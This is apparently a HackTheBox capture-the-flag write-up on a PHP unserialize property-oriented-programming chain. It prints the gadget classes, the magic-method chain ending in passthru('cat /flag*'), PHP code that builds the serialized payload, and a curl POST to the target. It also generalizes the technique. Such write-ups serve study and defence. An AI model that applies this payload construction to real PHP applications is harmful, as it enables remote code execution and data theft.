pwneglyph logo
web web-server php php-deserialization object-injection pop-chain magic-methods destruct get invoke arrayiterator call-user-func passthru rce

order.php runs unserialize(base64_decode($_POST['data'])) on attacker input. Chain four magic methods — Pizza::__destruct echoes $size->what → Spaghetti::__get invokes ($sauce)() → IceCream::__invoke foreach over $flavors → ArrayHelpers (extends ArrayIterator)::current() runs call_user_func($callback,$value). Set callback=passthru to execute commands, output reflected via Apache stdout.

POP Restaurant — PHP unserialize POP chain → RCE

Platform: HackTheBox · Category: Web (server-side) · Stack: PHP on Apache (mod_php)

Challenge overview

order.php deserializes attacker-controlled data with no validation:

$order = unserialize(base64_decode($_POST['data']));
$foodName = get_class($order);

The flag has a randomized name, so we need RCE. The codebase ships exactly the classes needed for a property-oriented programming (POP) chain.

The gadgets

class Pizza    { public $size;
                 public function __destruct() { echo $this->size->what; } }      // -> property access
class Spaghetti{ public $sauce;
                 public function __get($x)     { ($this->sauce)(); } }            // -> invoke
class IceCream { public $flavors;
                 public function __invoke()    { foreach ($this->flavors as $f) echo $f; } } // -> iterate
namespace Helpers;
class ArrayHelpers extends \ArrayIterator {   // iterating it calls current()
    public $callback;
    public function current() { $v = parent::current(); call_user_func($this->callback, $v); return $v; } }

Chain

unserialize() finishes -> Pizza::__destruct
  echo $this->size->what            ($size = Spaghetti, property "what" doesn't exist)
   -> Spaghetti::__get("what")
       ($this->sauce)()             ($sauce = IceCream)
        -> IceCream::__invoke()
            foreach ($this->flavors) ($flavors = ArrayHelpers([cmd]))
             -> ArrayHelpers::current()
                 call_user_func($this->callback, $value)   ($callback = 'passthru', $value = 'cat /flag*')
                  -> passthru('cat /flag*')   // RCE

Build the payload:

$ah = new Helpers\ArrayHelpers([$command]); $ah->callback = 'passthru';
$ic = new IceCream();  $ic->flavors = $ah;
$sp = new Spaghetti(); $sp->sauce   = $ic;
$pz = new Pizza();     $pz->size     = $sp;
$payload = base64_encode(serialize($pz));
// curl -X POST -d "data=$payload" http://target/order.php

passthru writes to stdout, which Apache forwards into the HTTP response — so the command output (and flag) is reflected directly.

Takeaways (generalized techniques)

  • unserialize() on user input = object injection. Even with no obvious sink, scan the codebase for magic methods (__destruct, __wakeup, __get, __set, __toString, __invoke, __call) and thread them into a chain ending at a callable sink (call_user_func, system, file_put_contents).
  • __destruct is the universal entry point — it fires automatically when the deserialized object is freed at script end, so the chain runs without any further app interaction.
  • ArrayIterator::current() overrides are great pivots: iterating the object (a foreach) triggers your current(), letting you reach call_user_func($callback, $value) with both halves attacker-set.
  • Output reflection is free with mod_php: passthru/system/echo go to stdout → Apache → HTTP response, no separate exfil needed.

Sources & references